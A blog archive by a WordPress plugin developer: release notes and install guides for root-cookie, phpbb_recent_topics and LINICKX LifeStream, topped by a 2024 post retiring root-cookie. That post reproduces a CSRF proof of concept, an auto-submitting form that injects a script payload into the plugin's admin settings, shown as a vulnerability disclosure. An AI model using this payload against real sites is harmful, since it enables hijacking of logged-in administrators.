LINICKX.com

Goodbye root-cookie

Nick Bettison — Sat, 14 Dec 2024 15:59:00 +0000

TLDR: 🔥🔥🔥 If you still use root-cookie, please delete it from your WordPress/Website 🔥🔥🔥🔥

Today I have requested that the Plugins team over at WordPress.org org delete my root-cookie plugin. I started it back in 2008 for WP 2.6, probably before if you dig into the SVN history, back when things were very different.

Back in the early days of WordPress, it was a "sub directory", i.e. you setup your site with a home page, and then WordPress (blog) was a below that. The problem root-cookie was designed to solve, is that there was no way of accessing the WordPress authentication cookie outside the WordPress folder, so if you wanted to something as simple as change a banner, or theme based on being logged in, you could't. root-cookie was very simple, it hooked into WordPress's authentication functions and stripped the folder out of the cookie, and assigned it to the "root" of the domain, then from your custom code you could read it and do whatever.

I really, really cannot remember what the admin page did or looked like, there's probably some screenshots around here but apparently it contains a Cross Site Request Forgery (CSRF) vulnerability, the steps (apparently, I've not tested) to reproduce are:

Make a logged in admin click a link with the following HTML (replace the domain)

<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://{domain}/wp-admin/options-general.php?page=root-cookie" method="POST">
<input type="hidden" name="rootcookie_submit_hidden" value='Y' />
<input type="hidden" name="rootcookie_subdomain_manual" value='&"><script>alert(1)</script>' />
</form>
</body>
</html>

REF: https://patchstack.com/

👉🏻 Given that I have not maintained this plugin for over 13 years, I do NOT intend to publish an update and have requested the plugin be deleted.

From: Nick
To: plugins wordpress.org
Date: 14 Dec 2024, 15:47
Subject: Please Delete "root-cookie"
Body:

Hello, Please delete https://wordpress.org/plugins/root-cookie/

The plugin has not been maintained in 13years, apparently recently it was discovered to contain a CSRF vulnerability, I do not intend to fix it therefore it would be safer for the community if the plugin is removed from wordpress.org.

Stats show only 11 downloads per week, I don't suppose the plugin is needed anymore, the first version was released in 2008 for WP2.6, I expect a lot has changed since then :)

Many Thanks in advance for your support.
Kind Regards,
Nick

root-cookie 1.6, two years in the making?

nick — Thu, 22 Dec 2011 22:02:00 +0000

No taking two years to release an update is not good, but in my defence root-cookie is so simple that there are very few issues and complaints ;)

Actually a two year wait isn't strictly true, those watching the dev log would have seen I've pushed the odd update here and there.

So what prompts this release, well I've noticed that in WP3.3 that the cookie functions have changed, so to ensure future compatibility (and minimal issues for me) I have updated this plugin to be aligned to the core source.

The usual blurb...

ChangeLog

Contextual Help
Bug fix "undefined method WP_Error::get_items"
Logout Enhancement
WP 3.3 Compatability
Donation Link (it's good for your karma)

phpbb_recent_topics version 0.6

nick — Fri, 21 May 2010 14:13:00 +0100

UPDATE: This Plugin has been updated, the below links to the new file, but please comment on the new post, thanks.

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [caption id="attachment\_1935" align="aligncenter" width="150" caption="Screenshot phpbb\_recent\_topics admin page"][![Screenshot phpbb\_recent\_topics admin page](https://www.linickx.com/files/2009/08/phpbb_recent_topix_v05x-150x150.png "Screenshot phpbb_recent_topics admin page")](https://www.linickx.com/files/2009/08/phpbb_recent_topix_v05x.png)[/caption] Admin GUI -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

It's that time again, enough things have happened in the support forum to warrant another version.

phpbb_recent_topics 0.6 owes a debt of gratitude to number3nl he has worked very hard to push in two main new features and his work was so good it only needed a couple of minor tweaks from myself.

New Features!

The loooong awaited phpBB recent posts feature has been enabled, simply tick the box that says "Sort results by post date" and you're away!
Tooltips are here! Yup if you're into that kind of thing enabling tool tips will show a snippet of the post content to your visitors prior to them clicking on any links.
Admin UI Error Messages are here; the GUI will now inform you if you're connected to phpBB.

Bug Fixes.

The variables in display.php now match those of admin-display.php; hopefully this will make community contribution simpler.
Uninstall.php has been added so removal of the plugin is more comprehensive.

A note to upgrader's.

If you're using secure database connectivity you'll need to GRANT access to the posts table....
GRANT SELECT ON phpbb_database.phpbb_posts TO wp_user@localhost;

Download phpBB_Recent_Topics_0.6 from wordpress.org

The usual stuff now follows....

The Installation

Before starting you need to get your database configuration sorted. So, are you going to connect to the PHPBB Database securely or Insecurely?

To connect Securely you need to GRANT access TO WordPress FROM phpbb.

How to GRANT wordpress read only access to phpBB ?
If you don't know it already you need to find your wordpress mysql user id, it'll be in wp-config.php

define('DB_USER', 'wp_user');     // Your MySQL username

and you should have already found your phpbb database & table for the above.
You need to type the following syntax into your mysql database

GRANT SELECT ON phpbb_database.phpbb_topics TO wp_user@localhost;

AND

GRANT SELECT ON phpbb_database.phpbb_forums TO wp_user@localhost;

AND

GRANT SELECT ON phpbb_database.phpbb_posts TO wp_user@localhost;

this can be achieved by logging into phpmyadmin as your phpbb user, selecting SQL and pasting the correct GRANT into the text box.

WordPress Installation

Unzip phpbb_recent_topics.tgz in your `/wp-content/plugins/` directory. (You'll have a new directory, with this plugin in /wp-content/plugins/phpbb_recent_topics)
Activate the plugin through the 'Plugins' menu in WordPress
Configure the plugin, you need to tell wordpress about phpbb, this is done in the wordpress menu 'Settings' -> 'phpBB Recent Topics'
The following Settings are required:
- * The name of your phpBB database (e.g phpbb)
- * The name of the table where topics are held (the default is phpbb_topics )
- * The full url of your forum for links (e.g. http://www.mydomain.com/forum)
- * The number of topics to show. (If left blank you get 5)
- * The Date Formatting, i.e. "d/M/y - g:i a" similar to the WordPress "General Settings"
The use of Insecure connectivity is optional - See Below
Tick the boxes of any Forums you don't want this plugin to show posts from
Hit 'Update Options"
To output the list of topics in a page or post...
- * create a new page/post, type {phpbb_recent_topics} , hit 'Publish' or 'Create new page'
To output the list of topics in your theme sidebar using the widget...
- * click "design" in the dashboard
- * click "widgets"
- * next to phpBB Recent Topics click "add"
- * click "save changes"
To output the list of topics in your theme sidebar using a template tag...
- * edit sidebar.php and inside \<div id="sidebar"> type...
```
<?php
if (function_exists('phpbb_topics')) {
phpbb_topics();
}
?>
```

What is Insecure MySQL Connectivity & How do I use it?
If you need to you can connect in a less secure manner, the connection details held in your PHPBB config.php can be loaded into WordPress. This is insecure becuase the phpbb3 credentials are store in clear text, this is bad cuase if someone somehow comprised WordPress they'd have full access to PHPBB.

To use, tick the "Enable Insecure Database Connection" box, and submit, when the page re-freshes you'll have some more boxes to populate, from your phpbb config.php fill in

$dbuser = phpbb MySQL Database UserName $dbpasswd = phpbb MySQL Database Password $dbhost = phpbb MySQL Server

Click update, and you should be connected!

Support
I've always been honest about support, there isn't any. Basically I write this for my own needs and then publish it for you to use for free. You're more than welcome to post comments here and if you need support the community phpbb-recent-topics forum is available, I do read every post there but we all have busy lives and I make no promises on how quickly I'll reply to you.

Finally Subversion
The source for this plugin is in the wordpress subversion, you can checkout the trunk directly from here, if you weren't aware wp.org also auto-magically creates a nightly build of any developments here.

I hope you enjoy my plug-in!

LINICKX LifeStream V0.2

nick — Thu, 10 Dec 2009 13:15:00 +0000

[caption id="attachment_2901" align="alignright" width="150" caption="Screen-shot of config screen"][/caption]

UPDATE: This Plugin has been updated, the below links to the new file, but please comment on the new post, thanks.

Version 0.2 is the first feature update to my LINICKX Lifestream plug-in. This version incorporates all the minor bug fixes from version 0.1 -> 0.1.3 and includes what I call my "Troubleshooting Feature Pack".

Version 0.1.x was plagued by a hidden multi-post issue, so not only is this fixed in V0.2, but I've included the tools used by myself to fix the issue. If you've been effected by this, use the factory reset option to clear out the lifestream plug-in, the next time it runs new posts will be created of all your feeds... so yes you will get double posts... but that will then be the last time it happens! :)

Plug-in Features:

Admin Feature Pack (NEW)
Verbose Cron Mode, now you can see what the plug-in is doing!
View the contents of the Lifestream Feed DB
View the URLS, Tags & Categories stored in the plugin
Factory Reset, remove all the settings without having to uninstall -> re-install
Stream Any Feed.
Most internet services like digg, twitter, lastfm and the like support RSS feeds of your activity, so you can stream any service even if I haven't heard about it yet!
Posts are created from the feeds/stream.
Each Feed item creates a new post, you can tag & categorise your posts to give each stream a different look & feel in your WordPress templates.
No dependencies.
LINICKX LifeStream uses WordPress functions to do it's work, so yes it'll work on PHP4 & PHP5 and you don't need to update simplepie or an-other dependancy.
Flexible updating.
By default LINICKX LifeStream should just work, WordPress will fetch the feeds every 5 minutes and store them in the WP Database, but you can change that. If you want to cron your updates every 1 minute you can, if you want the DB store in a file not in MySQL that's not a problem either.

Bug Fixes

Version 0.2 Multi-Post issue - http://wordpress.org/support/topic/330243
Pushed Version 0.1.3 more bug fixes; 0.1.2 broke auto updates, so 0.1.3 fixes it again!
linickx.com was having execution timeout issues, so theres a patch to fix that for other users
I've also introduced a config.php so that upgrades do not overwrite $WPDIR set by users.
Pushed version 0.1.2 to fix error in dashboard reported by Markus .
Pushed version 0.1.1 as the directory path changed when wordpress.org created their .zip file... all should be working again.

Right now on LINICKX.com this plugin is streaming Digg, Google Reader and WordPress Commits... keep an eye for new things streamed such as delicious & last fm :cool:

- ***[Download LINICKX LifeStream from WordPress.org](http://wordpress.org/extend/plugins/linickx-lifestream/)*** - [Get **Support and Help** on WordPress.org](http://wordpress.org/tags/linickx-lifestream?forum_id=10#postform) - [Submit **Bugs and Patches** to Trac](http://plugins.trac.wordpress.org/newticket?component=linickx-lifestream&owner=linickx)

I'm still looking for help.
If you think you can javascript/ajax the admin interface, or my plug-in WordPress MU compatible, please let me know.

Disclaimer
Plug-in development is a hobby, I have a full time job that takes priority. Feel free to leave comments on this post but ask support questions to the WordPress community. I will update this plugin as and when I need features to improve linickx.com and will consider any patches submitted including any good ideas you have.

If you use this plug-in, please consider donating as I give this code away for free and giving something back is good for your kama :cool:

Get ready for LINICKX LifeStream!

nick — Thu, 05 Nov 2009 13:53:00 +0000

Colleagues have noticed that in my spare time at work I've been "getting my geek on!" the definition being a vi window of code on one screen and google open in the other ;)

Linickx LifeStream will be a new WordPress plugin which allows you to life stream ANY feed. I've been having issues with FeedWordPress and to be honest it didn't really do what I wanted; now there are already may wordpress lifestream plug-ins, but mine will be different.

Difference 1: The plug-in isn't service dependant... i.e. you don't stream your twitter account or your LastFM account, you stream the feed. What this means is that when tomorrows-wizzy-new-service is launched you don't have to wait for me to update the plug-in. It also means you can stream odd stuff, such as I'm going to stream my commits to the WordPress plug-in repo ;)

Difference 2: No Requirements. The requirements for this are the same as the WordPress requirements. What this means is yes it works on PHP4 and no you don't need a separate installation of simplepie.

Difference 3: No Lifestream Pages, extra databases or tables. LifeStream feeds get created as "normal" WordPress posts, so if you digg something a post is created and you can do all the normal things like tag & categorize the post.

I'm in the process of finishing the package and installing the plug-in here on linickx.com but when it's ready you'll be able to...

Download LINICKX LifeStream Here

With a little luck I'll be able to remove this annoyance and directly stream delicious and get google reader working again.

phpbb_recent_topics_0.5.3

nick — Fri, 21 Aug 2009 18:32:00 +0100

0.5.3 is a minor update which fixes this issue whereby some users got this error in their admin screens

Warning: Invalid argument supplied for foreach() in /public_html/wp-content/plugins/phpbb-recent-topics/display/admin-options.php on line 144

If you don't have this issue upgrading is optional, download from the usual place!

Follow plug-in development progress

nick — Mon, 17 Aug 2009 10:13:00 +0100

The WordPress plugin trac is a really cool resource, one of my favourite features is the commit log.

Development progress of linickx plugins is always going to be slow because I have a day job but when I find the time to develop updates I try to commit them to the community as often as I can so users can stay in the loop.... The thing is users don't necessarily know the log is there, so here's a couple of links for you...

If you want test drive my development versions on your blog you can download them from wordpress.org here and here respectively, feel free to submit patches to fix bugs or implement features, I'm always open to suggestions and work is always accredited appropriately.

Introducing root cookie 1.5 now with subdomain support!

nick — Fri, 14 Aug 2009 09:23:00 +0100

UPDATE: This Plugin has been updated, please see the new post, comments here are now closed.

A long time ago Sc0ttClarkcame to me and suggested that his cookie subdomains plug-in & my cookie path plug-in should be merged.... well I've finally done it!

There was a little delay in the release as the initial code only worked for top level .com, .net & .org style domains but a simple "manual" option in the admin screen now allows you to set the domain name, so longer domains like .co.uk can be supported!

All previous functionality is supported, just by enabling the plug-in the path is stripped out you only need to go into the admin page if you want to change the subdomain of the cookie.

The admin page now has a "News & Tutorials" feed (subscribe) my plan is to post articles on how to use root-cookie.

You can download the plugin from wordpress.org, and there is a discussion forum to get community support.

Twitter Tools is for Twitter Tools

nick — Tue, 11 Aug 2009 08:59:00 +0100

Those with a keen eye may have noticed that my tweets / status updates didn't start with "is" until recently that's because posts that appeared here on my blog would look stupid and out of context, who starts a post "is" ???

To solve the problem attachedis a small plugin for Alex Kings Twitter Tools, it's a simple WordPress filter which prepends posts which begin with "is" with the author name, example:

is testing his new WP plugin.

becomes

Nick is testing his new WP plugin.

If I get some positive feedback I might publish this in WP's plugin directory.

Installation is easy, rename twitter-tools-is.txt to twitter-tools-is.php and save it in your wp-content/plugins directory, enable the plug-in the "normal" way and job done, no further configuration required!

phpbb_recent_topics fixed for 2.8.3

nick — Wed, 05 Aug 2009 09:52:00 +0100

UPDATE: This Plugin has been updated, please download the update from http://wordpress.org/extend/plugins/phpbb-recent-topics/, and please comment on the new post, thanks.

This update fixes 0.4.x branch of my plugin, specifically the "You are not allowed to access this page" error that WordPress 2.8.1 introduced. No other changes have been implemented, ~~the SVN Trunk (0.5.x) is still to be updated.~~

UPDATE: 0.5.x works in WP.2.8.3, also 4got to tag this post - DOH!

The usual paste follows....

Download phpBB_Recent_Topics_0.4.2 from wordpress.org

What's New?

Plugin fixed for WP 2.8.3.

What's Old?

The widget patch submitted by toni.
I have tested this plugin with phpBB3 .
I finally quashed the install bug where by phpbb-recent-topics was confused with phpbb_recent_topics.
Sidebar Widget, yus for all you non-php people you have a widget to play with.
Edit the Time & Date layout - leave blank to remove it completely

The Installation

Unzip phpbb_recent_topics.tgz in your `/wp-content/plugins/` directory. (You'll have a new directory, with this plugin in /wp-content/plugins/phpbb_recent_topics)
Activate the plugin through the 'Plugins' menu in WordPress
Configure the plugin, you need to tell wordpress about phpbb, this is done in the wordpress menu 'Settings' -> 'phpBB Recent Topics'
The following Settings are required:
- * The name of your phpBB database (e.g phpbb)
- * The name of the table where topics are held (the default is phpbb_topics )
- * The full url of your forum for links (e.g. http://www.mydomain.com/forum)
- * The number of topics to show. (If left blank you get 5)
- * The Date Formatting, i.e. "d/M/y - g:i a" similar to the WordPress "General Settings"
Hit 'Update Options"
To output the list of topics in a page or post...
- * create a new page/post, type {phpbb_recent_topics} , hit 'Publish' or 'Create new page'
To output the list of topics in your theme sidebar using the widget...
- * click "design" in the dashboard
- * click "widgets"
- * next to phpBB Recent Topics click "add"
- * click "save changes"
To output the list of topics in your theme sidebar using a template tag...
- * edit sidebar.php and inside \<div id="sidebar"> type...
```
<?php
if (function_exists('phpbb_topics')) {
phpbb_topics();
}
?>
```

A bit about Database configuration.
If wordpress & phpBB share a DB already then set \$PHPBBDB to DB_NAME and everything will be fine, else you're going to need to GRANT the wordpress user read access to phpBB.

How to GRANT wordpress read only access to phpBB ?
If you don't know it already you need to find your wordpress mysql user id, it'll be in wp-config.php

define('DB_USER', 'wp_user');     // Your MySQL username

and you should have already found your phpbb database & table for the above.
You need to type the following syntax into your mysql database

GRANT SELECT ON phpbb_database.phpbb_topics TO wp_user@localhost;

this can be achieved by logging into phpmyadmin as your phpbb user, selecting SQL and pasting the correct GRANT into the text box.

Frequently Asked Questions

Is phpbb3 supported?
- yes.
Can I output 10 Topics in my Page, and 3 Topics in my Sidebar ?
- Yes ! In the Wordpress menu 'Options' -> 'phpBB Recent Topics', set 'The number of topics to show' to 10, and then in your sidebar include...\<?php
  if (function_exists('phpbb_topics')) {
  phpbb_topics(3);
  }
  ?>
Can I exclude a certain forum from the list ?
- In this version, the only way to do that is to hack /wp-content/plugins/phpbb_recent_topics/display/display.php, change
```
$results = $wpdb->get_results("SELECT * FROM $TOPIC_TABLE ORDER BY topic_time DESC LIMIT $LIMIT");
```
  to
```
$results = $wpdb->get_results("SELECT * FROM $TOPIC_TABLE WHERE forum_id != 1 ORDER BY topic_time DESC LIMIT $LIMIT");
```
  to exclude forum 1 from the list. I plan to setup a proper solution to this in the next version.
Why is the date config under settings not in the widget configuration?
- The date settings effect both the template tag and the widget :)

Support
I've always been honest about support, there isn't any. Basically I write this for my own needs and then publish it for you to use for free. You're more than welcome to post comments here and if you tag wordpress forum posts with "phpbb-recent-topics" I'll reply to you there, but we all have busy lives and I make no promises on how quickly I'll reply to you.

Link for posting in the correct phpbb-recent-topics forum

Finally Subversion
You also might be interested to know that I've been getting to grips with the wordpress plug-ins svn, so you can get work directly from here; and when wordpress.org re-crawls my readme the latest version will also be available on wordpress.org/extend/plugins/ :cool: